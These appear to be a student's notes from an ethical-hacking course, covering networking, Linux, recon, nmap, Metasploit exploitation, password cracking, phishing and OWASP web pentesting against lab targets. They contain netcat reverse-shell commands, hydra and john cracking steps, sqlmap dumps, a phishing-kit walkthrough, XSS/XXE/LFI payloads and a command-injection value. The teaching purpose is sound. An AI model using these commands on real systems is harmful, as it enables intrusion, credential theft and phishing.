NETWORK

Networking-electricity in computing

What is network
What is the internet
Lan, wlan, man, wan, vpn
Ip address
IPv4
192.168.1.1 - 8bit > 11111111 or 00000000 or 10101010
1 - on (high voltage)
0 - off (low voltage)
In 1981
Host portion and Network portion
Numbering system
Binary numbering system (0,1) (radix,basics)
Decimal numbering system (0,1,2,3,4,5,6,7,8,9)
Computer can’t understand decimal
Ip address conversion
Substraction method (decimal to binary)
128 64 32 16 8 4 2 1 (x2)
it is the radix of binary
192 > 128 64 32 16 8 4 2 1(how many time possible
to 192) Subnetting
Dividing a network into two or more networks
IPv4 Classes chart
Subnet eg: 255.255.255.0
2^x -2 > host id (x - off bits)
192.168.1.0(gateway) 192.168.1.255(broadcast) (so -2)
2^y - > network id (y - remove reserved bits from on bits)
Mac address
Nic card
First 6 unique (vendor)

Networking layers

Osi model
Introduce by iso
Open system interconnection model
client to server communication
7.application layer
Browser, email
Http,smtp,pop3..
6.presentation layer

Encryption and decryption
Wmv,mp4,jpeg
5.session layer
Initiate, manage, terminate session
4.transport layer
Transportation of data
TCP and udp
3.network layer
Ip address
Routing
2.datalink layer
Switching, MAC address
1.physical layer
Data cable
TCP protocol
SYN (connection establishing)
ACK (packet received)
PSH (immediately process all data)
URG (immediately process data
segments) FIN (connection termination)
RST (connection reset)
TCP three way handshake
> SYN
< SYN/ACK
> ACK
Wireshark tool (packet analyses)
# ifconfig
# ipconfig
# ping
UDP protocol

LINUX

Learning linux part-1

Linux start in 1969
Unix os
Ken Thompson and Dennis Ritchie
Bell laboratories
Assembly language
Later rewriten in c
Kernal (computer program at the core of computers
os) Kernal released in 1991

Latest version on 24th April 2020

Debian, red hat, fedora, gentoo, mint, android

(other distribution) Debian :

use kali linux

stable,testing, unstable

The shell

Interacting to kernal

Bash shell

Others shell ksh, zsh, tsch

Linux file System

/ (all directory under in root)

/bin(running commands)

/boot(kernal boot loader files)

/dev(device file)

/etc(configuration files)

/home(user personal directory)

/lib(hold file definitions)

/media(removable media related)

/mnt(temporarily mounted file System)

/opr(optional application software package)

/proc(currently running process)

/root (root users home directory)

/run(information about the running system to last boot)

/sbin(computer system binary file)

/tmp(storage temporary file)

/usr(user installed software and utilities)

/var(system logging,user tracking,caches,website)

Learning linux part-2

```
# echo hello world (<command> <argument>
# pwd
# cd
# touch
# mkdir
# > (copy symbol)
# >> (move symbol)
# file
# cat
# less
# more
# history
# history-c
# cp
# mv
# rm
# clear
# exit
# rmdir
# rm -r
# man
# ls
# help
# whatis
# ls -la
# alias 1='ifconfig'(create shortcuts)
```

Building our lab

NAT network (create private network)
Network > adds new nat network > set name And ip address > ok
Metasploitable2 (vulnerable machine)

```
# service network manager restart
```

Ethical hacking methodology

Information gathering
Target structure and surroundings
Collect possible information about target
Osint(open source intelligence)
Scanning networks
Scan system weakness/vulnerability
Scan service os
Scan service version
Gaining access
Exploiting that weakness/vulnerbility
Maintaining access
Keep access
Inject payloads
Trojan, backdoors
Clearing logs
Clear all created file and logs

DATA INTELLIGENCE

Passive information gathering

What is data

Distinct piece of information

Eg: students names in a class

What is information

Obtained by comparing the data other data.

Eg: name of student in alphabetic order are Information

What is intelligence

Collection of information

Other words gathered information

Passive information gathering

Without establishing contact

Website footprint

DNS reconnaissance

Email collection

DNS

Translate domain into ip address

A record: address record and is the purest form of dns Cname record: allows cloudwards.net to fetch up www.cloudwards.net Mx entry record: mail exchanger

Txt record: catch all record

AAAA: same as an A record. Domain into ipv6 address.

Root server

Name server for the root zone

Top level domain TLD

last segment of a domain name

DNS lookup and webpage query

Client request to dns resolver

DNS request the tld to root server. Root server respond with .com DNS request to .com tld for domain name. Tld replies the name server ip of google.com

DNS request to the ns of www.google.com for ip address

Name server of www.google.com replies the ip address

Active information gathering

Direct communication

Osint Maltego

Maltego.com/ce-regitration/
Create id then login Maltego
Tranform hub > install hubs
New page > entity palette > choose domain then drag to new page > edit yahoo.com > domain right click to choose options

Osint recon

Osint theHarvester

```
# theHarvester
# theHarvester-d yahoo.com -l 500 -b google
```

Osint shodan

Check internet connected devices
Virustotal.com

Dns enumeration

```
# host <domain>
# host -t ns <domain>
# host -t A <domain>
# host -t AAAA <domain>
# host -t CNAME <domain>
# host -t MX <domain>
# host -t TXT <domain>
# nslookup <domain>
# nslookup
> set type=A
> domain name
# dig <domain name>
# dig <domain name> <records>
```

Dns zone transfer

www.zonetransfer.me
Work in AXFR protocol

```
# host -l zonetransfer.me <name server>
# dig zonetransfer.me NS
# dig axfr zonetransfer.me @< name server>
```

Bugcrowd.com

Google dorks

intext:
intitle:
type:
Inurl;

SCANNING

Introduction and Nmap

What is network scanning
Live host
Ip address
Open ports
Operating Systems
Vulnerability
Nmap.org

```
# nmap
```

Nmap basic scanning

ARP (address resolution protocol)
Translate ip address to physical address

```
# arp-scan -l
# nmap 10.0.2.1
```

Open port (ready to connect)
Close port (not ready to connect)

Nmap multiple targets

```
# nmap 10.0.2.1-254
# nmap 10.0.2.1 10.0.2.5
# nmap 10.0.2.1,5
# nmap 10.0.2.1-5
# nmap -sn 10.0.2.0/24
```

Tcp connect scan

TCP connect/Full open scan

```
# nmap -sT 10.0.2.1
# nmap -sT -vv 10.0.2.1
```

Stealth scan

Stealth scan / half open scan
Response for open ports
1. Send SYN
2. Received SYN+ACK
3. Send RST
Response for closed
ports 1. Send SYN
2. Received RST

```
# nmap -sS 10.0.2.1
# nmap -sS -vvvv 10.0.2.1
```

Ack probe

ACK flag probe scan
Identity filtered system
Firewall is present
(filtered) 1. send ACK
2. No response
Firewall is not
response(unfiltered) 1. Send ACK
2. Receive RST
Scan me.nmap.org

```
# nmap | grep ACK
# nmap -sA scanme.nmap.org
# nmap -p 22
```

scanme.nmap.org

Service and os detection

```
# sudo su
# nmap -sS -sV scanme.nmap.org
# nmap -O scanme.nmap.org
# nmap -sV scanme.nmap.org > nmap_report.txt
# nmap -A scanme.nmap.org
# traceroute google.com
# Whois <ip>
>tracert google.com (windows)
```

Aggressive scanning

```
# nmap -A scanme.nmap.org
```

Udp scanning

ICMP protocol
Diagnose network communication issues

```
# nmap -sU scanme.nmap.org
```

Nmap output

Docker

Application and all its dependencies together in the form of containers

Webmap

Download WebMap on GitHub

```
# mkdir /tmp/webmap
# service docker start
# docker run -d \
> - -name webmap\
> -h webmap \
> -p 8000:8000 \
> -v /tmp/webmap:/opt/xml \
> reborntc/webmap
# docker start webmap
```

127.0.0.1/localhost:8000 go to web page

```
# nmap -sS -sV -A scanme.nmap.org -oX
/tmp/webmap/test_resp.xml
```

After scan complete go to webmap refresh
Go to network view on webmap
Click pdf report.

Introduction to scripting

Nmap script
Nse(nmap scripting engine)
Lua programming script
Various scripts which are Pre installed in nmap
/usr/share/nmap

```
# nmap -sV -sS scanme.nmap.org
# nmap - -script-updated
# nmap -sV -sS -sC vuln scanme.nmap.org
# nmap -sV -sS -sC scanme.nmap.org -p 21,22,53
# nmap - -script=ssh-brute scanme.nmap.org
# nmap - -script=ssh-brute - -script-atha userdb=<user wordlist>,passdb=<pass
wordlist> scanme.nmap.org
```

VULNERABILITY

Introduction to vulnerability

What is a vulnerability
Security weakness in a system
Some of the vulnerabilities are
Cross site scripting
SQL injection
Operating system vulnerabilities
Open service
Vulnerability Assessment VA
Fundamental task for a pentester
Examination, discovery and identification of system and application security measures and weaknesses
VA also help to recognize the vulnerabilities that could be exploited. Security levels
Low
Medium
High
Critical
Exploit range
Local
Remote
Types of VA
Internal assessment: scanning internal network and infrastructure. External assessment: find out the vulnerabilities to exploit them from outside. Active assessment: probing the target host.
Passive assessment: without interfering the target host.

Valc vulnerability assessment life cycle

1. Creating baseline

Discover the nature of the corporate network, the application, and the service. All resources and assets which help to manage, prioritize the

assessment. 2. Vulnerability Assessment
Examination and Inspection of security measures such as physical security as well as security policies and control.
Misconfiguration, default configuration, fault.
3. Risk assessment
Their impact on the corporate network or on an organization.
4. Remediation
Detected vulnerabilities patching or killing.
First high priority vulnerability.
5. Verification
One more time verify that vulnerability
6.Monitor
Monitoring the network traffyand system.

Using nmap to find vulnerability

Search vulnscan on google

```
# git clone <scipag_vulscan file>
# In -s `pwd`/scipag_vulscan /usr/share/nmap/script/vulscan
# nmap -sV - -script=vulscan/vulscan.nse <target>
```

Go to GitHub/secretguard

```
# git clone <link>
# cd <directory>
# chmod +x *
# ./<.sh>
```

Nessus

Download Nessus (.Deb)on google

```
# dpkg -i <.Deb>
```

Then Nessus essential get activation code

```
# /etc/init.nessusd start
```

https:://127.0.0.1:8834/
Nessus essential select
Create account
Take few time installation

EXPLOITATION

Introduction to exploitation

What is exploitation

access to target machine using vulnerability

Two methods

Manual exploitation

Exploit code to get an access into the target system.

Code download from internet

Exploitdb.com

Automated exploitation

Tools and framework for gaining access to the target system

Metasploit framework

Manual exploitation

```
# cd manual_exploit && cd manual_exploit
# nmap <target ip>
```

Apache https 1.3.20 exploit search on google then take exploitdb or GitHub

```
# git clone <link>
# apt-get install libels-dev
# cd <file>
# gcc -o <file> <file.c> -lcrypto
# ./<file> (then find 0x6a)
# ./<file> 0x6b <target ip> -c 40
```

Reverse shell and bind shell

Reverse shell

```
# nc -lnvp 4444 (Attacker listening )
# nc 192.168.1.1 4444 -e /bin/sh (target connecting)
```

Bind shell

```
# nc 192.168.1.2 4444 (attacker connecting)
# nc -lvp 4444 -e /bin/sh (target listening)
# ps -aux | grep bash
```

Staged and non staged payloads

Non-staged

Send exploit shellcode all at once

Large size

```
> windows/meterpreter_reverse_tcp
```

Staged

Send exploit shellcode in stages

Can be less stable

```
> windows/meterpreter/reverse_tcp
```

Automatic exploitation

```
# nmap -sV -p <> <ip>
Samba has no version
# service postgresql start
# msfconsole
> help
> tips
> search smb_version
> search "smb_version" type:auxiliary
> use
> info
> show options
> set rhosts
> run
Samba vulnerability 2.2.1a search on google
 I saw trans2open vulnerability
> search trans2open
> use 1
> info
> set rhosts
> exploit
 If failed Change payload
> show payloads
> use generic/shell_reverse_tcp
> exploit
```

STEGANOGRAPHY

Introduction to steganography

What is steganography
Hiding secrets messages
Technical steganography
Invisible link/microdots,physical methods
to hide. Linguistic steganography
Type that hides the message in another file
Steganalysis
Discovering and rendering hiden messages.

Technical steganography

Using gimp tool then adjest color
gradient. Leet language

Linguistic steganography

```
# exiftool <jpg> (on github)
# binwalk <jpg>
# binwalk-e <jpg>
# head <jpg> (read first 10 line)
# less <jpg> (read last 10 line)
# steghide extract -sf <jpg>
Ask passphrase re-enter
# cat <txt>
```

Hiding message using steganography

```
# exiftool -author=type message <jpg>
# exiftool <jpg>
# echo "type message" >> <jpg>
# steghide embed -cf <jpg> -ef <txt>
# steghide extract -sf <jpg>
```

Password cracking

What is password cracking
extracting password to gain authorized aceess to the target system in the guise of a legitimate user.
Types of password
Username and password
Biometrics
Registered or allowed devices
Non-electronic attack
Not required a technical understanding and knowledge.
Eg: shoulder surfing, social engineering, dumpster diving.
Active online attack
Dictionary attack: list of known and common words to attempt password recovery.
Brute force attack: recover the password by trying every possible combination of characters.
Default password
Every new equipment is configured with a default password by the manufactures.

Offline attack

Every possible combination of character is computed for the hash to create a rainbow table.

Active online attack

```
# hydra
# nmap <ip>
# hydra -l <username> -P <pass wordlist> <ip> ssh
# ssh <username>@<ip/hostname>
```

Offline attack

```
# cat /etc/passwd
# cat /etc/shadow
# unshadow <user list> <pass list> > output.txt
# john output.txt
```

Johnny tool > open other file format > choose format > save hashes to > shadow file > passwd file > convert

SHELL SCRIPTING

Introduction to shell scripting

The shell

Commands to interact with your computer.

Retrieve or store data

Why shell scripting

To automate everyday task

The variables

Essence of programming.

Programmer to store data, alter and reuse them throughout the script. Condition statement

Programmer to implement decision making within a shell script based on certain conditions or events

Loops

Multiple time using

For loop

While loop

Until loop

Bash arithmetic

Calculate number even with numeric precision.

Expr command

Let command

Bc command

Text editor

sublimetext.com (paid)

Installation on site

Sublime text keys site:appnee.com (on google)

Atom.io (free)

```
# nano
# vi
```

Naming & permission of shell script

sublime text (Open)

Date.sh (Save file)

Owner/user (1st)

Group (2nd)

Others (3rd)

Read permission - -r > 4

Write permission - -w > 2

Exvute permission - -x > 1

```
# chmod 750 date.sh
# ./date.sh
```

Shell scripting hello world

```
# which
```

Open sublime text editor

```
#! /bin/bash
echo "hello world"
```

Save hello_world.sh

```
# chmod 755 hello_world.sh
# ./hello_world.sh
```

Shell scripting why?

Save dns_enum.sh

```
# chmod 755 dns_enum.sh
#! /bin/bash
echo "A record of google.com"
dig google.com A +short
echo "AAAA record of google.com"
dig google.com AAAA +short
```

```
echo "CNAME record of google.com"
dig google.com CNAME +short echo
"MX record of google.com" dig
google.com MX +short
echo "TXT record of google.com"
dig google.com TXT +short
```

User defined variables

```
# hr=mynumberis707
# echo $hr
```

System variables

```
# echo $PWD
# echo $SHELL
# printenv
```

Command and line argument

```
# echo "argument"
```

Open text editor

Create ./sh file

```
#! /bin/bash
echo $1 (1st argument)
echo "A record of $1"
dig $1 A +short
echo "AAAA record of $1"
dig $1 AAAA +short
```

Read command

```
# read
# read -p "enter value"
#! /bin/bash
 read -p "enter the domain" dom
echo $dom
echo "A record of $dom"
dig $dom A +short
echo "AAAA record of $dom"
dig $dom AAAA +short
dom=$1
echo "A record of $dom"
dig $dom A +short
echo "AAAA record of $dom"
```

```
dig $dom AAAA +short
```

Command substitution

```
# whoami
# echo $USER
#! /bin/bash
day=$(date +%A)
dom=$1
echo -e "welcome $USER! Today is $day you are using /bin/bash shell for script"
echo "A record of $dom"
dig $dom A +short
echo "AAAA record of $dom"
dig $dom AAAA +short
```

For loop

```
#! /bin/bash
 : name
#variable
day=$(date +%A)
dom=$1
 message

echo -e "welcome $USER! Today is $day you are using /bin/bash shell for script"
for rec in A AAAA CNAME MX TXT; do
echo " $rec of $dom "
dig $dom $rec +short
echo "________"
 Done
```

Functions

```
#! /bin/bash
 : name
#variable
day=$(date +%A)
dom=$1

 message

echo -e "welcome $USER! Today is $day you are using /bin/bash shell for script"

 records
```

```
function dns_enum
{
for rec in A AAAA CNAME MX TXT; do
echo " $rec of $dom "
dig $dom $rec +short
echo "________"
done
}
 Dns_enum
```

While loop

```
#! /bin/bash
 loop
 n=1
while [[ n -le 10 ]]; do
done
 less than ==> lt or <
greater than - -> gt or >
 less than or equal to ==> -le or <=
greater than or equal to - -> -ge or >=
equal to ==> -eq or ==
#! /bin/bash
 loop
 n=1
while [[ n -le 10 ]]; do
echo $n
 n=$((n+1))
done
while read $value; do
echo value
done < file.txt
#! /bin/bash
 : name
#variable
day=$(date +%A)
dom=$1

 message

echo -e "welcome $USER! Today is $day you are using /bin/bash shell for script"

 records
function dns_enum
{
```

```
for rec in A AAAA CNAME MX TXT; do
echo " $rec of $dom "
dig $dom $rec +short
echo "________"
done
}
file_enum()
{
while read domain ; do
echo $domain
for rec in A AAAA CNAME MX TXT; do
echo " $rec in $domain "
dig $domain $rec +short
echo "=============="
done
echo " +++++$domain complete+++
done < file.txt
}
 File_enum
```

Until loop

```
#! /bin/bash
 loop
 n=1
while [[ n -ge 10 ]]; do
echo $n
 n=$((n+1))
done
#! /bin/bash
 loop
 n=1
while [[ n -gt 10 ]]; do
echo $n
 n=$((n+1))
 Done
```

If else condition

```
#! /bin/bash
condition
 n=10
 if [[ $n = 10 ]]; then
echo "N is 10"
```

```
fi
#! /bin/bash
condition
 n=10
 if [[ $n = 10 ]]; then
echo "N is not 10"
fi
#! /bin/bash
condition
word=abcd
 if [[ $word == abc ]]; then
echo "words are abc"
else
echo "Words are not abc"
fi
 if [[ -z $dom ]]; then
echo "Invalid syntax. please provide domain name"
echo "eg : $0 example.com"
else
greetings
dns_enum
fi

 n=8
 if [[ $n -lt 10 ]]; then
echo " $n is less than 10"
elif [[ $n -gt 5 ]]; then
echo " $n is in between 10 and 5"
else
echo "all are wrong"
 Fi
```

Case statement

```
#! /bin/bash
echo "1: print hello"
echo "2: print hai"
echo "3: print avodha"
echo "4: print ethical"
echo "5: print hacking "
 read -p "select one opion : "
 opt menu()
{
echo "${red}${bold}1 : check ipv4 "
echo "2 : check ipv6 "
echo "3 : check mail servers "
echo "4 : check text records "
echo "5 : check CNAME "
echo "6 : check all "
 read -p "check and option: "
opt }
case_stat()
{
case $opt in
 1 )
 ipv4=$(dig $dom A +short)
echo " ipv4 of $dom is $ipv4"
;; echo
2 )
 ipv6=$(dig $dom AAAA
+short) echo " ipv6 of $dom is
$ipv6" ;; 3 )
 mx=$(dig $dom MX +short)
echo " mail servers of $dom are;"
echo "$mx";;
4 )
txt=$(dig $dom TXT +short)
echo " text records of $dom
are;" echo "$txt";;
5 )
cname=$(dig $dom CNAME +short)
echo " CNAME records of $dom are;"
echo "$cname";;
6)
dns_enim;;
esac
}
script
 if [[ $# -eq 0 ]]; then
echo "Invalid syntax. please provide domain name"
echo "eg : $0 example.com"
 menu
else
greetings
 menu
 read -p "enter the domain : " dom
case_stat
tput set colors

day=$(date +%A)
 red=`tput setaf 1`
```

```
green =`tput setaf 2`
 blue=`tput setaf 4`
 reset=`tput sgr0`
#! /bin/bash
 red=$(tput setaf 1)
 reset=`tput sgr0`
echo ${red} hari ${reset} hello
```

Bash debugging

```
#! /bin/bash
 name=$1
 home=$2
echo "$1 & $2"
# ./hello.sh hari kerala
# bash -x hello.sh hari kerala
```

SOCIAL ENGINEERING

Introduction to social engineering

act of stealing information from human.
art of convincing the target to reveal information.
does not have ant interaction with target system or network.
considered as non-technical attack

Relevence of social engineering

one of the major vulnerability which leads to this type of attack is Trust.

Human based social engineering

impersonation
calling emails
eavesdropping
man in the middle attack type
shoulder surfing

Computer based social engineering

phishing
technique in which fake email which looks like legitimate email is sent to a target host.

Phishing

hiddeneye search on GitHub

```
# cd hoddeneye
# python3 ./hiddeneye.py
>>> instagram
>>> instagram verified badge attack
>>> keyloggers no
>>> fake page no
>>> email create no
>>> www.instagram.com
>>> port 4444
>>> local host
```

then generate phishing link.

Mobile based social engineering

publishing malicious application.
repackaging legitimate applications.

Doppelganger domain

is nothing but an identical website or an email id it’s a kind of attack vector called "typosquatting"

WEB PENTESTING

Introduction to web app pentesting
Bug hunting platforms

hackerone
bugcrowd
bugcrowd vulnerability rating
taxonomy (VRT) integrity
open bug bounty
"bug bounty dork list" search on google.

Introduction to recon

Enumerating subdomains sublist3r

sublister on GitHub

```
# cd
# pip3 install -r requirements.txt
# python3 setup.py install
# sublist3r -d microsoft.com
# sublist3r -d microsoft.com -o subs.txt
# cat subs.txt | wc -l
# less subs.txt
# more subs.txt
# sublist3r -b -d avodha.com
# sublist3r -d avodha.com -p 80,443
#sublist3r -v -d avodha.com
#sublist3r -v -d avodha.com -p 21
#sublist3r -d avodha.com -t 500
#sublist3r -n -d avodha.com
```

subbrute on GitHub

Enumerating subdomains assetfinder

go install kali linux download on
google. assetfinder on GitHub.

```
# assetfinder avodha.com
# assetfinder - -help
# assetfinder -subs-only microsoft.com > subs.txt #
assetfinder -subs-only microsoft.com | tee subs.txt
```

Finding live domains

httpprobe on GitHub

```
# cat subs.txt | httprobe
(if you get response, live signal)
# cat subs.txt | httprobe > alive.txt
# cat alive.txt | wc -l
# httpstatus.io (website)
# head -n 100 subs.txt (copy all subdomains)
```

paste to httpstatus.io

Sorting live subdomains

```
# sort -u subs.txt | tee sorted_subs.txt
# cat sorted_subs.txt | wc -l
# site=<sub domain url>
# echo $site
# echo ${site}
# echo ${site
# echo ${site#*//}
create http_strip.sh
# assetfinder -subs-only rootseclabs.com | tee
subs.txt # cat subs.txt | httprobe | tee alive.txt
# chmod 755 http_strip.sh
#! /bin/bash
file=$1
cp $file
while read url ; do
echo $url
done <tmp_subs.txt>
 rm thp_subs.txt
# ./http_strip.sh subs.txt
# bash -x http_strip.sh subs.txt
#! /bin/bash
file=$1
cp $file
while read url ; do
echo ${url#*//}
done <tmp_subs.txt>
 rm thp_subs.txt
# ./http_strip.sh subs.txt
#! /bin/bash
file=$1
cp $file
while read url ; do
echo ${url#*//} > urls.txt
done <tmp_subs.txt>
 rm thp_subs.txt
# ./http_strip.sh subs.txt
#! /bin/bash
file=$1
cp $file
while read url ; do
echo ${url#*//} > urls.txt
done <tmp_subs.txt>
```

```
sort -u urls.txt > sorted_subs.txt
 rm urls.txt
 rm thp_subs.txt
# ./http_strip.sh subs.txt
#! /bin/bash
file=$1
cp $file
while read url ; do
echo ${url#*//} > urls.txt
done <tmp_subs.txt>
sort -u urls.txt > sorted_subs.txt
count=$(cat sorted_subs.txt | wc -l)
 rm urls.txt
 rm tmp_subs.txt
echo "script execution completed"
echo "total ${count} subdomains found"
# ./http_strip.sh subs.txt
```

Enumerating subdomains gobuster

gobuster on GitHub

seclist wordlist on GitHub

```
# apt -y install seclists
# gobuster
# gobuster dns -d avodha.com -w /usr/share/seclists/discovery/dns/namelist.txt
```

jason haris

```
# gobuster dns -d avodha.com -w /usr/share/seclists/discovery/dns
# gobuster dns -d rootseclabs.com -w $wordlists -c
# gobuster dns -d avodha.com -w $wordlists -i
# gobuster dns -d avodha.com -w $wordlists -z
# gobuster dns -d avodha.com -w $wordlists -z -o <output.txt>
# gobuster dns -d avodha.com -w $wordlists -q
# gobuster dns -d avodha.com -w $wordlists -t 50
```

Introduction to owasp top10

owasp

open web application security project.

on december 01, 2001

what is owasp top 10

popular owasp top 10 list in november 2017.

10 most critical security vulnerability.

the methods attackers use to target them.

top 10 - 2017

injection

broken authentication
sensitive data exposure
xml external entities (xxe)
broken access control
security misconfiguration
cross-site scripting (xss)
insecure deserialization
using components with known vulnerabilities.
insufficient logging and monitoring.

Injection

most common vulnerability.
as sql, os, ldap injection.
untrusted data is sent to an interpreter as part of a command or query.

Manual sql injection

OWASP bwd search on google.
browse owasp machine ip
Sql > SELECT first_name,last_name FROM users WHERE user_id = '1'OR'1'='1'"

Configuring burpsuite

Burpsuite
chrome browser > settings > proxy > manual proxy configuration > set ip 127.0.0.1 and set port 8080
clear no proxy for
proxy > target
proxy > intercept on
foxyproxy (extension)
intercept on > http://burp > ca certificate > preferences > certificate > import

Automated sql injection

```
# sqlmap
# sqlmap -u "<target url> —cookie="<cookie>" —dbs
# sqlmap -u "<target url> —cookie="<cookie>" -D <database> —tables # sqlmap -u
"<target url> —cookie="<cookie>" -D <database> -T <table> —columns # sqlmap -u
"<target url> —cookie="<cookie>" -D <database> -T <table> -C <column> —dump #
sqlmap -u "<target url> —cookie="<cookie>" -D <database> -T <table> -C password
—dump
```

Command injection

Injection prevention

prevention for injection

query parameterization which separate statement from any kind of parameters. validate user input.preventing unnecessary symbols (example * on username field)

limiting maximum information on the database to be fetched.

building web app using proper control.

using web application firewall.

Broken authentication

sql > SELECT id FROM login WHERE username "="or" and password = "="or"

Credential stuffing

haveibeenpawned.com

Broken authentication prevention

prevention for broken authentication

multiple authentication like biometrics, tolen and fingerprint verification.

checking passwords with in database with top 10,000 passwords on the internet and informing the user

recommend users to create strong passwords.

limit failed login

using web application firewall.

Sensitive data exposure

sensitive data storeed in database should be well protected.

credit card details, social security numbers and other sensitive customer details should be encrypted at rest when stored in a databade.

Sensitive data exposure prevention

encrypting all pages with sensitive data using strong cipher (TLS, SSL)

classify data apply control to the sensitive data separately.

encrypted data at rest when stored in database, even if they are not directly accessible through a web application.

avoide storing sensitive data unless it is absolutely necessary.

using web application firewall.

Xml external entities xxe

this is necessary is in a customizable configuration file in a web application.(in a xml file).
they will expand to a defined value once they are processed by the xml parser.
xml : <!DOCTYPE test [<!ENTITY xxe SYSTEM "file://etc/passwd">]>

Insecure direct object reference IDOR

id changing vulnerability

Security Misconfiguration

web application security is not just about secure web application coding;
secure the configuration of the web server.
secure the operating system of the web server.
ensure that the server is always updated with the latest security patches.
such as PHP and NET, database servers like oracle.
# service apache2 start
go to browser 127.0.0.1/djdsiksks (is web error)
prevention for security misconfiguration
check default configuration and turn off ports and delete.
don’t project any information on error page. eg: versions
update software with latest security patches regularly.

Broken access control

/api.php?user=hari (edit get request from user access)

Cross site scripting

xss
inject malicious client-side scripts in a website.
that is later executed by the victim.
used to bypass access control and to impersonate legitimate users, such as web application administrators.
try to steal cookie by sending post(scripts) to the web application to get the cookies of the victim by making the victim send it to the attacker.

Xss exploitation

w3school.com
xss-game.appspot.com

```
<!DOCTYPE html>
<html>
<body>
<p>javascript alert.</p>
<script>
alert("hello! i am an alert box!");
</script>
</body>
</html>
```

copy to target search bar)

```
<h1>hello</h1>
```

javascript events

```
<!DOCTYPE html>
<html>
<body>
<button onclick="alert('hari')">Click Me</button>
</body>
</html>
<!DOCTYPE html>
<html>
<body>
<button onmouseout="alert('hari')">Click Me</button>
</body>
</html>
<!DOCTYPE html>
<html>
<body>
<img src="paste url" onerror="alert('123');">
<p>onerror event</p>
</body>
</html>
' onerror="alert('123');.jpg' />"
```

Insecure deserialization

changing byte streams into original object

the attacker can modify the byte stream, when it is deserialization, attack happens.

prevention of insecure deserialization

not to accept serialization objects from untrusted sources. low privilege environment run.

restricting or monitoring incoming and outgoing network connectivity from container or server that deserialize.

serialization

deserialization

modify serialization object (portswigger)
intercept off > login user password > proxy >http history > response > raw > sessions copy > send to decoder > decode as jrl > decode as base64> get serialization object > change to boolen value 1 > encode as base64 > encode as jrl > copy > intercept on > refresh page > paste session > post
serialization object
O : 4 : "User" -an oblect with the 4 character class name "User"
2 - the object has 2 attributes
s : 4 : "name" - the key of the first attribute is the 4 character string "name" s :
6 : "carlos" - the value of the first attribute is the 6 character string "carlos" s :
10 : "isLoggedIn" - the key of the second attribute is the 10 character string "isLoggIn"
b : 1 - the value of the secend attribute is the boolen value true

Using components with known vulnerabilities

successful attack happen when the attacker exploited a known vulnerability in an outdated software that was still being used.
prevention
updates the software immediately, whenever updates available.
plan for the known components.
monitor, patch and configure the software regularly.

Insufficient logging and monitoring

refer to the inability to log and detect hacking attempts and breaches.
statistics from 2016 show that, on average, it took an organization 191 days to detect a data breach.
prevention
logging every failed login, warning error message.
log file must not contain information, if accessed by attackers.
storing log file in good format.
integrity control on log file.
having respons plan.
make if sufficient content.

Clickjacking

interface based attack in which a user is tricked into clicking on actionable content on a hidden website.
github.com/secretguard/web-recon

```
# ./clickjacking.sh <url>
```

Broken link hijacking

rootseclabs.com > view source page > search(ctrl+f) > eg: instagram > check error links

broken-link-checker on GitHub

# blc -for <url>

broken link checker cheat sheet for bug hunting search on google.

Cross site requiest forgery CSRF

an attacker to induce user to perform actions that they do not intend to perform.

an attacker to partly circumvent the same origin policy

which is designed to prevent different websites to prevent different websites from interfering with each other.

No rate limiting

Eg: forgot password page and a victim's email now enter the victim's email and intercept the request using burp suite and send that request to repeater or intruder or repeating it. if the reception doesn't give any error after 50,100,1000 receptions then their will be no rate limit set.

Rate limiting

Eg: a particular service api that is configured to allow 100 requests/minutes. if the number of requests you make exceeds that limit, then error will be triggered.

send to sequence(need token) > start live capture

send to intruder > select any value > add > payload > numbers > 1 to 100 > start attack.

bug bounty dork (private bug bounty)

Hsts

http strict transport security

help to protect websites against MITM attacks such as protocol downgrade attacks. https://gf.dev/hsts-test

Server side request forgery SSRF

an attacker to induce the server side application to make http requests to an arbitrary domain of the attackers choosing.

Eg: the attacker might cause the server to make a connection back to itself, or to orher web based services within the organization's infrastructure, or to external third party system.

stockapi=<address>

Subdomain takeover

process of registering a non existing domain name to gain control over another domain. domain name use a CNAME record to another domain.

at some point in time, anotherdomain.com expires and is available for registration by anyone.

since CNAME record is not deleted from example.com DNS zone, anyone who registers anotherdomain.com has full control over sub.example.com until the DNS record is present.

webrecon on GitHub

```
# ./web-recon.sh -d rootseclabs.com
```

edoverflow/can-i-take-over-xyz on github > check vulnerable on github. github > new "rootseclabs.github.io" name > public > add readme file > create > settings > change source main > save > custom domain "blog.rootseclabs.com" > save > set theme rootseclabs.github.io refresh

delete repository

```
# assetfinder —subs-only rootseclabs.com > subsss.txt
# subjack -w subsss.txt -v
```

michenriksen/aquatone on GitHub

```
# gowitness file -s subsss.txt
# cat subsss.txt | httprobe > subs_url.txt
# cat subsss.txt | aquatone
```

open html file

Report writing

Heading (Eg: No Rate Limit bug on Sign Up page)

attache bug attacking video.

Setting lab

- Go to labs.avodha.net

Web Application Pentest

What is Reverse Engineering.

Compiler and Decompiler.

Necessary Tools. : DnSpy, Detect it easy (Die), Hex Workshop

Benefits of Reverse Engineering.

Xampp installation

xampp search on google.

```
# chmod +x <file>
# ./<file>
mkdir xampp
# cd /opt/lampp
```

# cd htdocs
# ./manager-linux-x64.run
apache web server > configure > open conf file > yes > search "documentroot"(ctrl+f) > copy "/home/kali/xampp" > set path to documentroot and directory > save apache web server start
# cd xampp
# nano abc.txt
go to localost (refresh)
# cd /opt lampp
# cd etc
# pluma php.ini
ctrl+f search for "allow_url_include" find > turn On > ctrl+s

Lab configuration

cd /opt/lampp
# ./manager-linux-x64.run
my sql (start)
apache server (start)
go to "localhost/phpmyadmin"
user account > add user account > username:avodha > hostname:localhost > password:avodha > all tik > go
database > "avodhasqlinjection_db" > import > show files > select avodhasqlinjection_db.sql > go
go to lab directory > copy all > paste to xampp
go to localhost

Hackbar installation

download cyberfox
# dpkg -i <file>
# cyberfox
setting > add-ons > install add on from file > hackbar.xpi > restart cyberfox.
Sql injection
open cyberfox
search localhost
sql injection
load url

XSS

Reflected XSS

```
</div><script>alert()</script>
```

Stored XSS

```
</div><script>alert()</script>
```

HTML injection

Reflected HTML injection

```
<h1>avodha</h1>
<a href=”https://evil.com”>https://google.com
</h2><a href=”https://evil.com”>https://google.com</a>
```

Stored HTML injection

CSRF

SSRF

```
file:///etc/passwd
```

File upload

```
# sudo chown -R daemon:daemon /home/kali/xampp
```

LFI

Local File Inclusion

RFI

pastebin.com

```
 <?php
Echo shell_exec(“id”);
?>
```

shellizm.com

Command injection

```
# php -S localhost:1337 (create services)
localhost:1337/ping.php (go to browser)
<?php
$domain = “google.com;id”;
